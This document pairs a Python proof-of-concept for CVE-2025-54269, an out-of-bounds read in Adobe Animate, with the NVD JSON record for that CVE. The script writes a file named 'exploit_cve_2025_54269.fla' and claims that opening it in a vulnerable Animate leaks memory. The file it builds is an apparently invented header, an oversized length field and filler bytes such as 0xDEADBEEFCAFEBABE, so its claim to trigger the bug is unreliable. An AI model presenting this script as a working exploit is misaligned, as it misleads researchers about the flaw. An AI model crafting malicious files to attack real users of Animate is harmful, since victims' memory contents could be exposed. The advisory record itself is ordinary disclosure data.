CVE-2025-54269

# CVE-2025-54269 - Adobe Animate Out-of-Bounds Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # in Adobe Animate by crafting a malicious animation file. import struct import os def create_malicious_anim_file(filename): """ Create a malformed animation file that triggers OOB read in vulnerable Adobe Animate versions (<=23.0.13, <=24.0.10) """ # FLA file header (simplified) header = b'FLA\x00' # Version marker version = struct.pack('<I', 0x00000001) # Crafted payload - oversized length field to trigger OOB read # The parser will read beyond the allocated buffer payload_length = struct.pack('<I', 0xFFFFFF) # Intentionally large length # Malicious data block with controlled content # This data will be read out-of-bounds by the vulnerable parser malicious_data = b'\x41' * 1024 # Fill pattern # Additional crafted structure to trigger memory disclosure oob_trigger = struct.pack('<Q', 0xDEADBEEFCAFEBABE) # Combine all parts malicious_file = header + version + payload_length + malicious_data + oob_trigger with open(filename, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious animation file created: {filename}") print(f"[!] When opened with vulnerable Adobe Animate, this file triggers OOB read") print(f"[!] Memory contents may be disclosed to the attacker") if __name__ == "__main__": output_file = "exploit_cve_2025_54269.fla" create_malicious_anim_file(output_file) # Note: Actual exploitation requires: # 1. A vulnerable version of Adobe Animate (23.0.13, 24.0.10 or earlier) # 2. User interaction (opening the malicious file) # 3. Memory analysis tools to capture leaked data

{"cve": {"id": "CVE-2025-54269", "sourceIdentifier": "[email protected]", "published": "2025-10-15T01:15:31.493", "lastModified": "2025-10-17T14:57:25.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Animate versions 23.0.13, 24.0.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.0.0", "versionEndExcluding": "23.0.15", "matchCriteriaId": "ADF27AA6-00D4-49BD-B753-C3B483684612"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.0.12", "matchCriteriaId": "C68A2C2C-91FD-4FE9-8C06-15E7B9E49F44"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/animate/apsb25-97.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}